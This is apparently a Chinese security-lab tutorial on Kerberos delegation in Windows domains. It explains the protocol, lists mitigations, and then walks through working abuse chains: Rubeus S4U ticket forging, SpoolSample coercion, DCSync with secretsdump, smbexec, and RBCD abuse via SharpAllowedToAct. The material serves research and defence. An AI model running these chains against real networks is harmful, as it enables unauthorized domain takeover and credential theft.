前言
我们将针对于域环境下的本地提权进行研究并输出一系列专题文章,以域内的一些老生常谈的技术为基础,并加以组合利用,最终实现自动化的域内本地提权。接下来我们就以经典的委派为开场,拉开Windows 域环境下的本地提权研究系列的第一个大幕。
什么是委派
委派发展史
1.1 非约束委派
-
1. 用户访问服务 A,使用 Kerberos 协议发起认证。 -
2. 用户通过 AS Exchange
请求并获得一张可转发的 TGT。 -
3. 用户通过 TGS Exchange
携带可转发的 TGT 请求 KDC。 -
4. KDC 根据用户请求的 SPN,检查对应的服务 A,发现其 userAccountControl
设置了TRUSTED_FOR_DELEGATION
Flag,返回一张转发的 TGT。 -
5. 用户通过 TGS Exchange
携带可转发的 TGT 请求并获得一张从用户到服务 A 的 ST。 -
6. 用户通过 AP Exchange
将转发的 TGT、该 TGT 的会话密钥、ST 发送给服务 A。 -
7. 服务 A 认证该用户能够合法访问自己,至此完成用户的认证。 -
8. 服务 A 通过 TGS Exchange
携带用户 TGT、代表用户请求并获得从用户到服务 B 的 ST。
配置
userAccountControl
属性,已存在 TRUSTED_FOR_DELEGATION
标志位。AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -dn
1.2 约束委派
-
1. S4U2proxy,Service for User to Proxy,该扩展协议允许服务代表用户获取从用户到不同服务的 ST。 -
2. S4U2self,Service for User to Self,该扩展协议允许服务代表用户获取从用户到服务自身的 ST。
S4U2proxy
-
1. 用户访问服务 A,使用 Kerberos 协议发起认证。 -
2. 用户通过 AS Exchange
请求并获得一张正常的 TGT。 -
3. 用户通过 TGS Exchange
携带正常的的 TGT 请求 KDC。 -
4. KDC 根据用户请求的 SPN,检查对应的服务 A,发现其 userAccountControl
设置了TRUSTED_TO_AUTH_FOR_DELEGATION
Flag,返回一张可转发的、从用户到服务 A 的 ST。 -
5. 用户通过 AP Exchange
将 ST 发送给服务 A。 -
6. 服务 A 认证该用户能够合法访问自己,至此完成用户的认证。 -
7. 服务 A 通过 TGS Exchange(S4U2proxy)
将自身的 TGT、可转发的 ST 发送给 KDC -
8. KDC 检查服务 A 的 msDS-AllowedToDelegateTo
属性,确定服务 B 位于其中,返回一张从用户到服务 B 的 ST。
userAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION flag
,确定是否信任服务 A 进行委派;2. 检查服务 A 的 msDS-AllowedToDelegateTo
属性,确定是否允许委派至服务 B。S4U2self
-
1. 用户访问服务 A,通过 HTTP 协议发起认证并通过。 -
2. 服务 A 通过 TGS Exchange(S4U2self)
携带自身的 TGT 请求 KDC。 -
3. KDC 检查服务 A,发现其 userAccountControl
设置了TRUSTED_TO_AUTH_FOR_DELEGATION
Flag,返回一张可转发的、从用户到服务 A 的 ST。 -
4. 如果 KDC 发现服务 A 的 userAccountControl
属性未设置TRUSTED_TO_AUTH_FOR_DELEGATION
Flag,返回一张不可转发的、从用户到服务 A 的 ST。 -
5. 后续同上 5-8。
PA-FOR-USER
(或 PA-S4U-X509-USER
)类型的 PA-DATA
表示,PA-FOR-USER
中包含用户名、作用域、校验码和认证协议:PA-FOR-USER ::= SEQUENCE {
-- PA TYPE 129
userName [0] PrincipalName,
userRealm [1] Realm,
cksum [2] Checksum,
auth-package [3] KerberosString
}
TRUSTED_TO_AUTH_FOR_DELEGATION
Flag。配置
msDS-AllowedToDelegateTo
属性,该属性包含了 S4U2proxy 允许委派至的服务。若同时该服务账户的 userAccountControl
属性存在 TRUSTED_TO_AUTH_FOR_DELEGATION
标志位,说明选择了”使用任何身份验证协议” 子选项,即允许 S4U2proxy 协议转换。否则则为”仅使用 Kerberos”子选项,此时虽仍然可以通过 S4U2self 模拟任意用户到服务 A 的 ST,但该 ST 不可转发,也就无法用于后续的 S4U2proxy,即阻止了协议转换。事实上,在仅有服务 A 配置了约束委派的情况下,此时确实无法 S4U2proxy。但若服务 B 同时配置了 RBCD,此时仍然可以 S4U2proxy。AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(msDS-AllowedToDelegateTo=*)" msDS-AllowedToDelegateTo userAccountControl
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(msDS-AllowedToDelegateTo=*)(!userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
1.3 基于资源的约束委派
SeEnableDelegation
特权,通常只有域管理员拥有,而配置 RBCD 只需资源所有者的权限即可。因此,为了使用户、资源有更多的独立性,Windows 2012 中引入了基于资源的约束委派。-
1. 用户访问服务 A,使用 Kerberos 协议发起认证。 -
2. 用户通过 AS Exchange
请求并获得一张正常的 TGT。 -
3. 用户通过 TGS Exchange
携带正常的的 TGT 请求 KDC。 -
4. KDC 根据用户请求的 SPN,检查对应的服务 A,发现其 userAccountControl
未设置TRUSTED_TO_AUTH_FOR_DELEGATION
Flag,返回一张普通的、从用户到服务 A 的 ST。 -
5. 用户通过 AP Exchange
将 ST 发送给服务 A。 -
6. 服务 A 认证该用户能够合法访问自己,至此完成用户的认证。 -
7. 服务 A 通过 TGS Exchange(S4U2proxy)
将自身的 TGT、普通的 ST 发送给 KDC -
8. KDC 检查服务 A 的 msDS-AllowedToDelegateTo
属性,发现没有该属性;或者有该属性,但服务 B 没有位于其中。则 KDC 继续检查。 -
9. KDC 检查服务 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性,确定服务 A 位于其中,返回一张从用户到服务 B 的 ST。
msDS-AllowedToDelegateTo
属性,且服务 B 位于其中,则会进入约束委派流程。但此时收到的 ST 却是不可转发的,KDC 将不再检查 msDS-AllowedToActOnBehalfOfOtherIdentity
属性,而是直接返回失败。只有在服务 B 不位于服务 A 的 msDS-AllowedToDelegateTo
属性中时,才会继续检查 RBCD。ServicesAllowedToSendForwardedTicketsTo
失败后,依然会检查 ServicesAllowedToReceiveForwardedTicketsFrom
,只要后者检查通过,就会返回一张从用户到服务 B 的 ST。也就是说配置 RBCD 无需事先配置约束委派,这是合理的,这样才着实达到了配置更简单、操作更独立的目的。配置
import-module ./Microsoft.ActiveDirectory.Management.dll
Set-ADComputer -Identity ServerB -PrincipalsAllowedToDelegateToAccount ServerA
Get-ADComputer -Identity ServerA -Properties PrincipalsAllowedToDelegateToAccount
Set-ADComputer -Identity ServerB -PrincipalsAllowedToDelegateToAccount $null
msDS-AllowedToActOnBehalfOfOtherIdentity
属性,该属性包含了哪些服务允许委派至自身。AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" msDS-AllowedToActOnBehalfOfOtherIdentity userAccountControl
1.4 委派发展小结
ldap_bind()
或 RPC_bind()
)时调用,服务器 A 上的 Kerberos SSP 首先检查本地票证缓存中是否存在转发的 TGT,如果没有则将尝试执行 S4U2proxy 委派。KDC 在收到 S4U2proxy 请求后先后检查 ServicesAllowedToSendForwardedTicketsTo
和 ServicesAllowedToReceiveForwardedTicketsFrom
以确定是否返回 ST。-
1. 非约束委派:Kerberos 允许该服务帐户模拟请求该服务的客户端的身份,并以该用户身份向网络上的其他任意远程服务进行身份验证。问题是,服务 A 可以利用这张用户 TGT 代表用户申请从该用户到任意服务的 ST。 -
2. 约束委派:Kerberos 允许该服务帐户模拟任意客户端的身份,并以该用户身份向网络上的其他特定远程服务进行身份验证。问题是,服务 A 可以通过 S4U2self 协议模拟任意用户,获取从任意用户到特定服务的 ST。 -
3. 基于资源的约束委派:约束委派限制了服务 A 到其他服务的传出信任,基于资源的约束委派则限制了其他服务的到服务 B 的传入信任。 -
1.5 缓解委派滥用
-
1. 为域管等高权限域用户账户 userAccountControl 属性添加 NotDelegated Flag。 -
2. 将域管等高权限域用户账户加入 Protected Users(受保护的用户)安全组。
委派的滥用
2.1 强制认证 + 非约束委派 = 获取域控权限
-
1. 针对设置了非约束委派的机器账户,攻击者需要拿下该服务器并提权。此时,攻击者可以通过 SpoolSample 等方法强制域控对该机器发起认证,然后在该机器上抓取域控机器的 TGT,最后 PTT。当然,欺骗或水坑抓域管再 PTT 也是可以的。 -
2. 针对设置了非约束委派的用户账户,攻击者要么拿下该用户账户 SPN 指向的机器并提权,后续同 1。 -
3. 要么,攻击者能够修改/创建该用户账户的 SPN,将其 <host>
指向攻击者可控的机器,并添加 DNS,后续同 1。
Validated-SPN
权限,默认情况下只有域管和机器账户(仅针对自己)拥有该权限。也就是说用户账户并不能操作自己的 SPN 将其修改至攻击者可控机器服务,除非使用欺骗,否则攻击者很难将攻击流量引向自己可控的机器。机器账户的非约束委派利用
-
查找设置了非约束委派的机器账户,并想办法拿下服务器管理员权限。
# A 普通域用户权限
# 查找设置了非约束委派的机器账户
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" userAccountControl sAMAccountType
# 查找设置了非约束委派的用户账户。如果遇到,试试欺骗
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" userAccountControl sAMAccountType
-
-
通过强制认证获取域控机器 TGT。
# 拿下目标机器后,上传工具执行
# 开启监听,等待域控 TGT
Rubeus.exe monitor /interval:3 /nowrap /targetuser:<dc$>
# 强制域控向非约束委派机器发起认证
# 也可以域外 printerbug.py
SpoolSample_v4.5_x64..exe <dc> <serverA>
-
-
利用 TGT,PTT。域外 mimikatz PTT 后 Dcsync 会失败,因此用 impacket。
# A ptt
# 复制监听到的 TGT,将其保存为 .kirbi 文件
[IO.File]::WriteAllBytes("dc.tgt.kirbi", [Convert]::FromBase64String("doIF...."))
# 将 .kirbi 文件转换为 .ccache 格式
python3 ticket_converter.py dc.tgt.kirbi dc.tgt.ccache
# 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 dcsync
python3 secretsdump.py island.com/win2012-dc1$@win2012-dc1 -no-pass -k -dc-ip 192.168.159.112 -just-dc-ntlm
<host>
通常为主机名,因此需要修改本地 hosts 来解析域控,或使用 -target-ip 指定。2.2 约束委派 = 获取限定服务器上的最高权限
-
1. 针对设置了约束委派,且允许协议转换的服务账户。攻击者获取该账户的密码或 Hash 后,通过 S4U 申请从域管到限定服务器 host 服务的 ST,之后 PTT。 -
2. 针对设置了约束委派,但不允许协议转换的服务账户。虽然攻击者可以通过 S4U2self 生成一张从域管到该账户任意 SPN 的 ST,但是这张 ST 无法转发,也就无法用于后续的 S4U2proxy。此时,攻击者需要想办法获得一张可转发的、从域管到该账户任意 SPN 的 ST。 -
3. 有几种方法获得这样的 ST,第一种:通过欺骗获取,虽然该账户不能通过 S4U2self 为用户进行协议转换,但是用户自己经过正常 Kerberos 认证申请得到的从用户到该账户任意 SPN 的 ST 是可转发的,因此攻击者可以欺骗用户针对该账户任意 SPN 发起请求,攻击者在服务器上获取该 ST,再用于 S4U2proxy。 -
4. 第二种:Bronze Bit(CVE-2020-17049),该漏洞允许攻击者篡改 ST 中的 Forwardable Flag,获得可转发的 ST。 -
5. 第三种:利用基于资源的约束委派,下一节说。
允许协议转换的约束委派利用
-
查找设置了约束委派,且允许协议转换的服务账户,并想办法获取该账户的密码或 Hash。
# A 普通域用户权限
# 查找设置了约束委派,且允许协议转换的机器账户
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
# 查找设置了约束委派,且允许协议转换的用户账户
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
# A
# 如果获取明文密码,将其转成需要的格式
Rubeus.exe hash /password:123qweASD /user:serverA /domain:island.com
# 一步到位,自动完成 asktgt、S4U2self、S4U2proxy
## /msdsspn 指约束委派配置的限定服务,即 msDS-AllowedToDelegateTo 之一
## /altservice 指将服务修改成 host,以便获取目标服务器权限
## 将生成两张 ST,一张是域管到该服务账户的转发 ST,一张是域管到目标 host 服务的 ST
Rubeus.exe s4u /user:serverA /aes256:7E73B064D95DDF9BFA23AFCAE567CFCC9BBF0AC9C9A4EB2BB00E621D330FB8FE /domain:island.com /impersonateuser:administrator /msdsspn:dns/serverB /altservice:host /dc:win2012-dc1.island.com /outfile:admin2serverB.st.kirbi /nowrap
# 将 .kirbi 文件转换为 .ccache 格式
python3 ticket_converter.py admin2serverB.st_host-serverB.kirbi admin2serverB.ccache
# 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 smbexec
python3 smbexec.py island.com/administrator@serverB -no-pass -k -dc-ip 192.168.159.112 -debug
KDC_ERR_BADOPTION
报错,可能是要模拟的用户不允许被委派,尝试模拟其他高权限用户。# 查找敏感账户(NotDelegated)
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(userAccountControl:1.2.840.113556.1.4.803:=1048576)" -dn
# 查找 Protected Users 组 distinguishedName
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(sAMAccountName=Protected Users)(|(objectCategory=group)(objectClass=group)))" -dn
# 递归查询 Protected Users 组成员
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -bit -f (memberof:INCHAIN:="CN=Protected Users,CN=Users,DC=island,DC=com") memberof
2.3 RBCD 花式利用
-
1. 机器账号可以配置自己的 RBCD。 -
2. 将某台主机拉入域内的用户账号,可以配置该机器账号的 RBCD。
-
1. 在拿到了任意一台域内机器后,攻击者可以配置该机器 RBCD ,将该机器提权至最高权限。 -
2. 在拿到了任意一个域账号后,攻击者可以配置所有由该账号拉入域内的机器的 RBCD ,获取这些机器最高权限。 -
3. 攻击者通过欺骗+中继,配置某台机器自身的 RBCD,获取该机器最高权限。 -
4. 帮助约束委派:攻击者可以滥用 RBCD 获得一张可转发的、从用户到服务 B 的 ST,帮助 S4U2proxy 完成约束委派的利用。 -
RBCD + 域机器低权限 = 获取该域机器最高权限
ms-DS-MachineAccountQuota
属性默认为10,即所有域账号默认可以创建10个机器账号,因此攻击者可以直接创建机器账号 A 并利用,而无需先获取一个可控的服务账号。当然,如果管理员将该属性设为 0,攻击者使用其他可控的服务账号充当服务 A 也是可以的。(甚至,Jame Forshaw 提出了无需服务账号,仅通过普通用户账户滥用 RBCD[1]的方法)-
1. 配置 RBCD。
# 这里直接用域用户账号权限执行,机器账号权限同理。
## 钓鱼拿下某台域机器,上传工具执行
## 完成机器账号 A 创建,服务账号 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改
SharpAllowedToAct.exe -m serverA -p 123qweASD -t serverB
-
1. 完成 RBCD 利用。
# A
# 将上述密码转成需要的格式
Rubeus.exe hash /password:123qweASD /user:serverA$ /domain:island.com
# 完成 RBCD 请求
Rubeus.exe s4u /user:serverA$ /aes256:xxx /domain:island.com /impersonateuser:administrator /msdsspn:host/serverB /dc:win2012-dc1.island.com /outfile:admin2serverB.st.kirbi /nowrap
# 将 .kirbi 文件转换为 .ccache 格式
python3 ticket_converter.py admin2serverB.st_host-serverB.kirbi admin2serverB.ccache
# 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 smbexec
python3 smbexec.py island.com/administrator@serverB -no-pass -k -dc-ip 192.168.159.112 -debug
RBCD + 域用户账号 = 获取由该域用户拉入域内的域机器最高权限
mS-DS-CreatorSID
属性表示将该机器拉入域内的域账号,如果该属性为空,意味着该机器是被域管拉入域内的。# 查找某个域账号拉入域内的域机器
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-65208363-682840273-3768764330-2131))" -dn
# 查找所有机器的 mS-DS-CreatorSID
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=*))" mS-DS-CreatorSID
# 查找某个 sid 对应的域用户
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(objectsid=S-1-5-21-65208363-682840273-3768764330-2102)" -dn
RBCD + 欺骗 + NTLM Relay = 获取被欺骗服务器上的最高权限
RBCD + 不允许协议转换的约束委派 = 获取限定服务器上的最高权限
-
查找设置了约束委派,但不允许协议转换的服务账户,并想办法拿下服务器 B 的管理员权限。
# A 普通域用户权限
# 查找设置了约束委派,但不允许协议转换的机器账户
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)(!userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
# 查找设置了约束委派,但不允许协议转换的用户账户
AdFind.exe -h 192.168.159.112 -u island.comzhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToDelegateTo=*)(!userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
-
滥用 RBCD 申请从域管到服务 B 的、可转发的 ST。
# 在服务器 B 上执行
# 完成机器账号 A 创建,服务账号 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改
SharpAllowedToAct.exe -m serverA -p 123qweASD -t serverB
# A
# 将上述密码转成需要的格式
Rubeus.exe hash /password:123qweASD /user:serverA$ /domain:island.com
# 完成 RBCD 请求,申请可转发的 ST
Rubeus.exe s4u /user:serverA$ /aes256:xxx /domain:island.com /impersonateuser:administrator /msdsspn:host/serverB /dc:win2012-dc1.island.com /outfile:admin2serverB.st.kirbi /nowrap
-
滥用约束委派,申请从域管到服务 C 的 ST,并 PTT。
# A PTT
# 完成约束委派请求
Rubeus.exe s4u /user:serverB$ /rc4:xxx /domain:island.com /tgs:admin2serverB.st_host-serverB.kirbi /msdsspn:dns/serverC /altservice:host /dc:win2012-dc1.island.com /outfile:admin2serverC.st.kirbi /nowrap
# 将 .kirbi 文件转换为 .ccache 格式
python3 ticket_converter.py admin2serverC.st_host-serverC.kirbi admin2serverC.ccache
# 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 smbexec
python3 smbexec.py island.com/administrator@serverC -no-pass -k -dc-ip 192.168.159.112 -debug
2.4 委派滥用小结
-
1. 拿下非约束委派的机器并提权后,可以获取域管或域控权限。需要配合欺骗或强制认证利用。 -
2. 拿下约束委派账户的 Hash,可以横向至限定机器。对于无法协议转换的,可以配合欺骗或 RBCD 利用。 -
3. 利用 RBCD,可以实现域机器账号的本地提权,以及域用户账户的机器接管。配合欺骗进行 NTLM Relay,还可以横向到被欺骗的机器。
总结
本篇介绍并引入了RBCD,下篇继续介绍NTLM 中继攻击,也就是NTLM Relay。
参考资料
MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol[2]
Kerberos (III): How does delegation work?[3]
引用链接
[1]
通过普通用户账户滥用 RBCD: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html[2]
MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94[3]
Kerberos (III): How does delegation work?: https://www.tarlogic.com/blog/kerberos-iii-how-does-delegation-work/
原文始发于微信公众号(默安玄甲实验室):Windows 域环境下的本地提权系列研究(一)